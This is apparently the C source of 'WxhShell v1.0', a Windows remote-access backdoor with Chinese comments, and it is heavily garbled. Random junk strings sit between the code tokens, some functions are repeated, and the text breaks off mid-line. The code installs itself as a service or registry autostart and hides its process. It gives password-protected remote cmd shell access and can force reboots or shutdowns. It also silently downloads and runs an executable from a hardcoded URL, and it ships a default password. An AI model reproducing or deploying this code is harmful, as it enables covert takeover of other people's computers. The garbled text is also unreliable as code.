Ru4M7% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9K-,#a $Ww.^ym if (!NtQueryInformationProcess) return 0; #szIYyk FIx|4[&>S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gObafIA if(!hProcess) return 0; Q+s2S>U{v FT!X r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +%Z:k c[Z#q*Q CloseHandle(hProcess); $.4N@=s,?c S_38U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f6 s .xQ if(hProcess==NULL) return 0; BDLJDyf B eo^C[#
. HMODULE hMod; ua,!kyS char procName[255]; PW\me7iCz unsigned long cbNeeded; j{6O:d6([$ m$7C{Mr' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |-z"6F r- >X*Y jv:r CloseHandle(hProcess); B qLL]%F =]1cVnPI if(strstr(procName,"services")) return 1; // 以服务启动 )nrYxxN wLNkXC return 0; // 注册表启动 #Y'ewu;qJ } zR)/h
pl/ek0QX // 主模块 NDJP`FI int StartWxhshell(LPSTR lpCmdLine) `uC^"R(m { ^fmuBe}d{ SOCKET wsl; H-mQ{K^ BOOL val=TRUE; u#NX`_ int port=0; $LiBJ~vV< struct sockaddr_in door; b*ja,I4 @^GI :z if(wscfg.ws_autoins) Install(); 8Wgzca
Q* tlB-s; port=atoi(lpCmdLine); }zqo<o M*D@zb0ia if(port<=0) port=wscfg.ws_port; ).-# _7~q| WSADATA data; 8C@6
b4VK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5&xbGEP$ 1L?d/j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N6> rU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &P"1 3]^@ door.sin_family = AF_INET; (LJ7xoJ^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); BCtKxtbS door.sin_port = htons(port); A5Q4wy` I'[;E.KU if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2*a9mi closesocket(wsl); ,C|{_4 return 1; &h_Y?5k K } `?SC.KT A4Q{(z-? if(listen(wsl,2) == INVALID_SOCKET) { |;&I$'i closesocket(wsl); r! [Qpb-: return 1; ;#mm_*L%@ } ]c
bXI Wxhshell(wsl); <p-@XzyE WSACleanup(); |~&cTDd *Uy;P>8 return 0; *\cU}qjk |<O^M q } o-JB,^TE {?"X\5n0 // 以NT服务方式启动 'K01"`# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7|jy:F,w% { U@D\+T0 DWORD status = 0; q=-h#IF^ DWORD specificError = 0xfffffff; I!SIy&=W #2"'tHf4 serviceStatus.dwServiceType = SERVICE_WIN32; OR37 serviceStatus.dwCurrentState = SERVICE_START_PENDING; \HG4i/V:h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; btC6R>0 serviceStatus.dwWin32ExitCode = 0; ,_s.amL3O{ serviceStatus.dwServiceSpecificExitCode = 0; LROrhO serviceStatus.dwCheckPoint = 0; oOaLD{g> serviceStatus.dwWaitHint = 0; m(D-?mhL v`G}sgn hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %UhLCyC/ if (hServiceStatusHandle==0) return; e+:X%a4\ '=xO?2U-Z status = GetLastError(); pred{HEye if (status!=NO_ERROR) $yq76 { 5NhAb$q2Y serviceStatus.dwCurrentState = SERVICE_STOPPED; Q
laoa)d# serviceStatus.dwCheckPoint = 0; ?M6)O?[ serviceStatus.dwWaitHint = 0; s,AJR
[ serviceStatus.dwWin32ExitCode = status; dvz6 serviceStatus.dwServiceSpecificExitCode = specificError;
?P4y$P SetServiceStatus(hServiceStatusHandle, &serviceStatus); f.bw A x return; #p]V? } uy~$
:0o .mcohfR serviceStatus.dwCurrentState = SERVICE_RUNNING; N eP serviceStatus.dwCheckPoint = 0; +XW1,ly~ serviceStatus.dwWaitHint = 0; ynZEJKo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W~a|AU8]C } xg 8R>j :RwURv+kT // 处理NT服务事件,比如:启动、停止 R3.w")6 VOID WINAPI NTServiceHandler(DWORD fdwControl) i_QiE2d { d$xvM switch(fdwControl) 27,c}OS5o { f8V
)nM+v" case SERVICE_CONTROL_STOP: 2J%L%6z8~ serviceStatus.dwWin32ExitCode = 0; t
o8J
serviceStatus.dwCurrentState = SERVICE_STOPPED; <a&xhG} serviceStatus.dwCheckPoint = 0; _HjB'XNr( serviceStatus.dwWaitHint = 0; SuNc&e#( { Sw$/Z)1K& SetServiceStatus(hServiceStatusHandle, &serviceStatus); UEt78eN } -#R`n'/ return; qR_Np5nHF case SERVICE_CONTROL_PAUSE: r!w*y3 serviceStatus.dwCurrentState = SERVICE_PAUSED; +nim47 break; Xwjm T case SERVICE_CONTROL_CONTINUE: s&Al4>}.f serviceStatus.dwCurrentState = SERVICE_RUNNING; p#-=mXE/2 break; q/Ji}NGm case SERVICE_CONTROL_INTERROGATE:
nEW.Y33 break; [*I7^h% }; )EQI>1_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ciz,1IV } ShvC4Xb 0 dm40qj // 标准应用程序主函数 TU6YS< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J><hrZ { x]?V*Jz .*xO/pn // 获取操作系统版本 Aq7`A^1t$ OsIsNt=GetOsVer(); )OucJQ GetModuleFileName(NULL,ExeFile,MAX_PATH); B1s&2{L6K -[pfLo // 从命令行安装 ^eefR5^_w if(strpbrk(lpCmdLine,"iI")) Install(); ;]=@;? 9 UV av^<_ // 下载执行文件 Y C<FKWc if(wscfg.ws_downexe) { L; A#N9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^,?>6O WinExec(wscfg.ws_filenam,SW_HIDE); .sOZ "=tW } vpOGyvI ^k{/Yl if(!OsIsNt) { rc7c$3# X // 如果时win9x,隐藏进程并且设置为注册表启动 =|dm#w_L" HideProc(); oHp"\Z& StartWxhshell(lpCmdLine); e%4vvPp } 1vCp<D9< else HZS.%+2 if(StartFromService()) qu]a+cYY // 以服务方式启动 U3v~R4 StartServiceCtrlDispatcher(DispatchTable); X56q,jCJ{ else wV{j CQ // 普通方式启动 yB=R7E7 StartWxhshell(lpCmdLine); oL }d=x/ hkV*UH{ return 0; W<[7LdAB } (2"4PU8 AW9%E/{ K`ygW|?gt DYC2bs> =========================================== ;05lwP*r] gbh/` ,zH\P+* \$t{K s?nj@:4 D+oV( Pw, " uC#]F@ t\!5$P #include <stdio.h> kkj@!1q(wO #include <string.h> %u<r_^w5 #include <windows.h> 'd;aAG #include <winsock2.h> pCa~:q*85 #include <winsvc.h> W~i0.rg|> #include <urlmon.h> A)d0Z6G` O8rd*+ #pragma comment (lib, "Ws2_32.lib") E%stFyr9`/ #pragma comment (lib, "urlmon.lib") ;eO Ye3;c XRyeEwA;pp #define MAX_USER 100 // 最大客户端连接数 J4iu8_eH!D #define BUF_SOCK 200 // sock buffer s k~7"v{Y. #define KEY_BUFF 255 // 输入 buffer `ZP[-: ` -GQ.B{%G #define REBOOT 0 // 重启 >s,*=a #define SHUTDOWN 1 // 关机 ^{++h?cS) 1hV&/Qr #define DEF_PORT 5000 // 监听端口 v]KPA.W vt5>>rl #define REG_LEN 16 // 注册表键长度 W&Xi&[Ux #define SVC_LEN 80 // NT服务名长度 /^&$ma\ ;;U&mhz` // 从dll定义API Qt^6w}& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?6I`$ &OA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T:CWxusL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CPP9=CoR37 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r.:f.AY{ 5`K'2 // wxhshell配置信息 7Bf4ojKt struct WSCFG { *|0W3uy\Y int ws_port; // 监听端口 CaoQPb* char ws_passstr[REG_LEN]; // 口令 HJ!)&xT int ws_autoins; // 安装标记, 1=yes 0=no ;[Esop char ws_regname[REG_LEN]; // 注册表键名 Y!|}; char ws_svcname[REG_LEN]; // 服务名 y6s/S. char ws_svcdisp[SVC_LEN]; // 服务显示名 #}Ays#wA>? char ws_svcdesc[SVC_LEN]; // 服务描述信息 m^)\P?M5| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TFhYu int ws_downexe; // 下载执行标记, 1=yes 0=no (ueH@A"9; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L9whgXD char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DAEWa
Kui f\~w!- }; AJzm/,H ~n/:a // default Wxhshell configuration W$Aypy
struct WSCFG wscfg={DEF_PORT, 6skd>v UU "xuhuanlingzhe", >4#\ U! 1, 15DlD`QV "Wxhshell", )S_%Ip "Wxhshell", "DJ%Yo "WxhShell Service", o9v9
bL+X "Wrsky Windows CmdShell Service", sn@)L ~$V "Please Input Your Password: ", H@k$sZ. 1, A+3=OBpkW0 "http://www.wrsky.com/wxhshell.exe", x_H"<-By "Wxhshell.exe" BMhuM~?( }; \nQEvcH i'#%t/ u // 消息定义模块 o%Qn%gaX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VC!g,LU|- char *msg_ws_prompt="\n\r? for help\n\r#>"; m :]F&s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <)@^TRS char *msg_ws_ext="\n\rExit."; OQT i$2 char *msg_ws_end="\n\rQuit."; [|HQfTp$ char *msg_ws_boot="\n\rReboot..."; \l 3M\$oS> char *msg_ws_poff="\n\rShutdown..."; w Kz*)C char *msg_ws_down="\n\rSave to "; _'s5FlZq x/92],.Mz char *msg_ws_err="\n\rErr!"; ?
5hwz char *msg_ws_ok="\n\rOK!"; 6M8(KN^ a6op char ExeFile[MAX_PATH]; uYc&Q$U int nUser = 0; `"bp-/ HANDLE handles[MAX_USER]; #8bI4J{dE int OsIsNt; P~"""3de4 9893{}\cB SERVICE_STATUS serviceStatus; lt}U,p,S SERVICE_STATUS_HANDLE hServiceStatusHandle; ,k/<Nv; WF<*rl // 函数声明 /3~}= b int Install(void); nSU7,K`PM int Uninstall(void); sY'dN_F int DownloadFile(char *sURL, SOCKET wsh); #kQLHi3## int Boot(int flag); e?-LB void HideProc(void); E__A1j*gd int GetOsVer(void); w;^7FuBaC int Wxhshell(SOCKET wsl);
N/AP8 void TalkWithClient(void *cs); 2?owXcbx int CmdShell(SOCKET sock); .ZH5^Sv$vp int StartFromService(void); B&H
[z int StartWxhshell(LPSTR lpCmdLine); GJuU?h#:/{ qk(u5Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _n<
@Jk~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); UX<0/"0h 9'JkLgz;d+ // 数据结构和表定义 ;4]l P SERVICE_TABLE_ENTRY DispatchTable[] = aeF^&F0 { YA^g[, {wscfg.ws_svcname, NTServiceMain}, v#+tu,)V; {NULL, NULL} >(a/K2$*1 }; 7PI|~Ifi G{oM2`c'#8 // 自我安装 Ad`jV_z int Install(void) h'G8@j; { u\G\KASUK% char svExeFile[MAX_PATH]; [x|{VJ(h HKEY key; <3Hu(Jx<O strcpy(svExeFile,ExeFile); @BXV>U2B{ WR"p2= // 如果是win9x系统,修改注册表设为自启动 R2[!h1nZ if(!OsIsNt) { =").W \, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KHXnB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6T~xjAuJ3T RegCloseKey(key); t \C[mw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $(%t^8{a~G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M3
$MgsN: RegCloseKey(key); tt>=Vt' return 0; cb~m==G } aG\B?pn- } pF"IDC } :dzamHbX9 else { GQ9g $&T yf6&'Y{ // 如果是NT以上系统,安装为系统服务 I^6zUVH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^KMZB if (schSCManager!=0) OC[(Eq { I*K~GXWs# SC_HANDLE schService = CreateService {%b-~& F9 ( e: :H1V schSCManager, #65Uei|F`+ wscfg.ws_svcname, =>6'{32W_ wscfg.ws_svcdisp, !P0Oq)q SERVICE_ALL_ACCESS, C zvi': SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }KHdlhD SERVICE_AUTO_START, 8~|PZ,oZ SERVICE_ERROR_NORMAL, SSF4P& svExeFile, *l^%7Wrk NULL, `W8dayZt NULL, @YTZnGG* NULL, f/qG:yTV` NULL, Ofg-gCF8 NULL <&rvv4*H ); #X"eg if (schService!=0) H;$O CDRC { jM90
gPX>, CloseServiceHandle(schService); K(HP PM\ CloseServiceHandle(schSCManager); f z8eL:i: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `=Hh5;ep strcat(svExeFile,wscfg.ws_svcname); O=St}B\!m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;[@<
, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u1&pJLK0[ RegCloseKey(key); 3say&|kJ return 0; "tbKKh66 } d1#;>MiU }
}ya9 +?I CloseServiceHandle(schSCManager); jxr~cp?4 } 8:,l+[\ } 7PZ0 i1?H*:] return 1; [x5T7= } T0Q)}%L Hs8c%C // 自我卸载 }CA oB::& int Uninstall(void) n-{G19? { Jx@3zl HKEY key; /AP@Bhm VZ;ASA?; if(!OsIsNt) { 8hi|F\$_h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P-VK=Y1q RegDeleteValue(key,wscfg.ws_regname); 0p_/eWww- RegCloseKey(key); R;f!s/^) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gYx|Na,+ RegDeleteValue(key,wscfg.ws_regname); (yCFpb RegCloseKey(key); D`LcL|nmH return 0; W@1Nit-R } <ok/2v } FMuM:%&J] } QOkPliX else { Qd 1Q~PBla _.OajE\T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LzS@@'] if (schSCManager!=0) !t6:uC7H { v*1UNXU\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RJ1Q.o if (schService!=0) !~cTe!T { iU\WV if(DeleteService(schService)!=0) { 4QZ -7_ CloseServiceHandle(schService); keEyE;O}u CloseServiceHandle(schSCManager); E[>4b7{g: return 0; 2`Xy}9N/Y } <DCrYt!1}c CloseServiceHandle(schService); =9e()j } {
D1. CloseServiceHandle(schSCManager); HKCMKHR } X 6/k `J } GM{m(Y 'QjX2ytgX return 1; 2;NIUMAMM } ]n0kO& r"SuE:D // 从指定url下载文件 )%U&z>^P int DownloadFile(char *sURL, SOCKET wsh) 52BlFBNV { =u(. Y HRESULT hr; C XZm/^ char seps[]= "/"; S,EXc^A7 char *token; 74rz~ZM
5 char *file; &+=A;Y) char myURL[MAX_PATH]; ~fn2B char myFILE[MAX_PATH]; 7E4=\vM 0x'>}5`5 strcpy(myURL,sURL); j8!fzJG token=strtok(myURL,seps); HjV3PFg
while(token!=NULL) G:$wdT(u { v&%GK5j7O file=token; W~
XJ ']e token=strtok(NULL,seps); DF/p{s1Y3 } l)fF)\ |;= Z+@" GetCurrentDirectory(MAX_PATH,myFILE); .xuLvNyQr strcat(myFILE, "\\"); ]QM6d(zDA strcat(myFILE, file); IM}T2\tZ} send(wsh,myFILE,strlen(myFILE),0); SY_T\
} send(wsh,"...",3,0); |_8-3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lqa.Nj if(hr==S_OK) *;8tj5du return 0; FJgr=9> else 4r`u@ return 1; sXkWs2! "d>{hP } ScYw3i /pZLt)=P // 系统电源模块 P*XLm int Boot(int flag) i2/:'
i { 5bR;R{:x HANDLE hToken; 0#KDvCBJ TOKEN_PRIVILEGES tkp; V}=9S@$o gYfN?A*`_ if(OsIsNt) { {BKu'A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y.26:c( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E$; =*0w tkp.PrivilegeCount = 1; 7OG=LF*V- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *<#jr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #.UooFk+Y if(flag==REBOOT) { | Uf6k` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cHs@1R/-s return 0;
;?1H& } g8
,V( ^ else { ")"VQ|$y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (p'yya{( return 0; 3'8B rK } }BS.OK? } : I28Zi* else { uuHR! if(flag==REBOOT) { =0TnH<` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A1zM$
wDU return 0; -$J\BkI } 6uW?xB9 else { r5> FU>7' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O&Q_vY return 0; rlmzbIuI9 } *P_(hG&c } l9"0Wu@_x Z;=G5O
uvQ return 1; XYhN;U}Z } \:-#,( .V (wU<Kpt?J // win9x进程隐藏模块 u~7mH void HideProc(void) Vrzx;V% { P?VGY trcG^uV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,3&XV%1 if ( hKernel != NULL ) j}3Avu% { i,1=5@rw5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1r;]== ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kg?[
FreeLibrary(hKernel); qk;*$Q } 2jV.\C k xDv$z.=Y return; ma[%,u` } CRf !tsj@ >=BH$4Ce // 获取操作系统版本 zgRZgVj int GetOsVer(void) v=e`e68U~ { 6MQ+![fN OSVERSIONINFO winfo; UjxEbk5>^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U>?q|(u GetVersionEx(&winfo); EjW3_ % if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u+%Ca,6 return 1; 4$.$j=Ct." else lx$]f)%~ return 0; 1$T;u~vg } gcDo o2RE (T:OZmEO. // 客户端句柄模块 6t/nM int Wxhshell(SOCKET wsl) JoeU J3N { I[,tf! SOCKET wsh; \^a(B{ struct sockaddr_in client; C4wJSQl_I DWORD myID; jN
9|q 5Z"IM8? while(nUser<MAX_USER) !=%0 { \JmfQrBQ int nSize=sizeof(client); [mwJ* GJ- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3SI:su if(wsh==INVALID_SOCKET) return 1; /orpQUHA ]Hr:|2|. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kHLpa/A if(handles[nUser]==0) zj:=
9$ closesocket(wsh); P7ktr?V0a else /Iht,@%E nUser++; \1|]?ZQ\ K } !-%fCg(B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I3sH8/* ms9zp?M return 0; 0kC}qru' } CR8a)X4j# Z3jh-{ 0 // 关闭 socket =P'33)
\ ) void CloseIt(SOCKET wsh) l{q$[/J~) { Z9Prw/8P closesocket(wsh); N6K%Wkz nUser--; X 'D ~#r ExitThread(0); :sO^b*e / } Pf,S`Uw; s&(,_34 // 客户端请求句柄
qkQ_# void TalkWithClient(void *cs) E.~; { 2y6@:VxSh YbCqZqk SOCKET wsh=(SOCKET)cs; BCnf'0q char pwd[SVC_LEN]; *;^!FBT char cmd[KEY_BUFF]; V.<$c1#=$ char chr[1]; 55lL aus int i,j; dLA'cQId ]MI>"hn while (nUser < MAX_USER) { MV8Lk/zd?A 9J>b6 if(wscfg.ws_passstr) { Qdepzo>E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W5'07N^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mou@G3 //ZeroMemory(pwd,KEY_BUFF); gFO|)I N i=0; jC_7cAsl while(i<SVC_LEN) { VjZ_L_U} g~q+a- // 设置超时 z9> yg_Q fd_set FdRead; JiFy.Pf struct timeval TimeOut; s=)0y$ FD_ZERO(&FdRead); 7\ .Ax FD_SET(wsh,&FdRead); ZHPsGHA TimeOut.tv_sec=8; kk`BwRh)d; TimeOut.tv_usec=0; -Vj'QqZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xL.T}f~y2> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @3D8TPH -
0t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3,`.$
pwd=chr[0]; /t"p^9!^ if(chr[0]==0xd || chr[0]==0xa) { XBJ9"G5 pwd=0; WW.\5kBl8 break; m>po+7"b } y&y(<
i++; 5f54E|vD } &p?Oo^ {?a9>g-BW // 如果是非法用户,关闭 socket ~&E|;\G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,H{
/@|RW } @G/':N WA);Z= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~cE; k@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , N:'Z 6{O#!o*g while(1) { 0 O{Y
Vk` v\9:G ZeroMemory(cmd,KEY_BUFF); 4fDo }~ 8ad!. // 自动支持客户端 telnet标准 ?$O5w* j=0; ] o!#]] while(j<KEY_BUFF) { YK#
QH"} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kuh! b`9 cmd[j]=chr[0]; 5io7!% if(chr[0]==0xa || chr[0]==0xd) { dEXHd@"H cmd[j]=0; +uPN+CgQ@ break; lYd#pNN } Fa(}:Ug j++; //--r5Q } M/U$x /3K '-jKv=D+ // 下载文件 7R\!'`]\M if(strstr(cmd,"http://")) { ?Az pb}# send(wsh,msg_ws_down,strlen(msg_ws_down),0); qa ![oMKc if(DownloadFile(cmd,wsh)) 'e6W$?z send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^qpa[6D6x else 5H6GZ:hp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :oB4\/(G# } >/"XX,3 else { t\2myR3 *$(=I6b switch(cmd[0]) { D#%J|| ;(w=}s%]+ // 帮助 TJtW?c7 case '?': { SwQ.tK1p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =J8)Z'Jr break; wAHb5>! } Fqzk/m // 安装 z(<
E % case 'i': { $"{V],:T
| if(Install()) @ ADY? send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}jbk9gM5 else ^v3+w"2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )!dELS\ix break; C#r_qn } RCt)qh+ // 卸载 +N[dYm case 'r': { gb:Cc,F,% if(Uninstall()) tYfhKJzGC send(wsh,msg_ws_err,strlen(msg_ws_err),0); U]sU
b3 else '4sT+q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ilK8V4k<T) break; '$)Wp_ } >Z^7=5K"O // 显示 wxhshell 所在路径 v >3ctP{ case 'p': { PqcuSb6 char svExeFile[MAX_PATH]; %9mCgHQ9 strcpy(svExeFile,"\n\r"); :0T]p"y4 strcat(svExeFile,ExeFile); T
GMHo{] send(wsh,svExeFile,strlen(svExeFile),0); pmCBe6n\l break; F dv&kK! } #py7emu // 重启 !U`T;\,v5 case 'b': { M;MD-|U send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G%YD2<V if(Boot(REBOOT)) "EpE!jh send(wsh,msg_ws_err,strlen(msg_ws_err),0); v85&s else { MbnV5 b:X closesocket(wsh); xSb/98; ExitThread(0); .WL507*"Ce } 7k6rhf7H break; v )7d } (XqeX(s // 关机 pq5)Ug case 'd': { Op3 IL/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,h/0:?R
KW if(Boot(SHUTDOWN)) Cw{#(xX send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Mbt%m else { N5/TV%u closesocket(wsh); B_5q}Bp< ExitThread(0); k9 *0xukJ } lRt8{GFy break; 8gC(N3/E" } n+GC L+Mo // 获取shell rvE!Q=y~ case 's': { qC\$>QU} CmdShell(wsh); `ss]\46> closesocket(wsh);
=hl-c ExitThread(0); aDZLabRu break; uFdSD } !W$Br\< // 退出 66L*6O4 case 'x': { r.ajw&J2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U}A+jJ CloseIt(wsh); tDN-I5q break;
7/7A } 5 (H; x74 // 离开 [q.W!l4E case 'q': { ]Vwky]d send(wsh,msg_ws_end,strlen(msg_ws_end),0); 30H:x@='9 closesocket(wsh); ]}v`#-Px( WSACleanup(); %oor7 -l exit(1); C)C;U&Qd break; *R~oA` } j|aT`UH03 } M.OWw#?p:_ } {iQ<`,)Y N ZlJ_[\$C // 提示信息 |9\Lv$VJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >a4Bfnf"eI } },Z-w_H } VGvOwd)E :m$%D]WY return; A`N;vq, } S'@"a%EV
Osy5|Ts // shell模块句柄 =kc{ Q@Dk int CmdShell(SOCKET sock) Z#J{tXZc { zIAMM STARTUPINFO si; O3BU.X1'% ZeroMemory(&si,sizeof(si)); Mvcl9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1/|PgT(KM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c//W#V2Q PROCESS_INFORMATION ProcessInfo; S i>TG
char cmdline[]="cmd"; 8 Zj>|u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T8m%_U#b return 0; {W4t]Ff } ;q^YDZ'
Y-{spTI // 自身启动模式 eqf~5/Z int StartFromService(void) Ol-'2l { pF !vW typedef struct O0{v`|w9+ { (CV=0{] DWORD ExitStatus; O~Fk0}- DWORD PebBaseAddress; /nmfp&@ DWORD AffinityMask; sO6t8)$b DWORD BasePriority; '#Fh
J%x ULONG UniqueProcessId; ``z="oD ULONG InheritedFromUniqueProcessId; 6?iP z?5 } PROCESS_BASIC_INFORMATION; Q?;ntzi !*ucVv; PROCNTQSIP NtQueryInformationProcess; >5gzo6j/ =~S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uh8ieb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ta#]>{ Z)&HqqT3p HANDLE hProcess; f
0#V^[%Q PROCESS_BASIC_INFORMATION pbi; VsMN i#? enrmjA&3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oxvw`a# if(NULL == hInst ) return 0; X5yh S MtB:H*pM g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _
o(h]G1]. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0q;] ;m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K;ML' E4.IS=4S if (!NtQueryInformationProcess) return 0; Smux&e ,5?MRqCM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l85"C if(!hProcess) return 0; dEp=;b s }<S2W\,G if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LYFvzw>M 4>HGwk@+8 CloseHandle(hProcess); N{yZk"fq:6 R{B~No w3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )5v .9N6v if(hProcess==NULL) return 0; u^uG_^^,/ Dw[Q,SE HMODULE hMod; <>oW f char procName[255]; X[ (J!"+ unsigned long cbNeeded; 5`DH\VD.j `7A@\Ha3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {cI<4>< pp`U]Q5"gX CloseHandle(hProcess); Jp#cFUa t BYf"l8^, if(strstr(procName,"services")) return 1; // 以服务启动 E=QQZ\w u5_fM*Ka return 0; // 注册表启动 rY= #^S } m t^1[ yB1>83!q // 主模块 8(;i~f:bCW int StartWxhshell(LPSTR 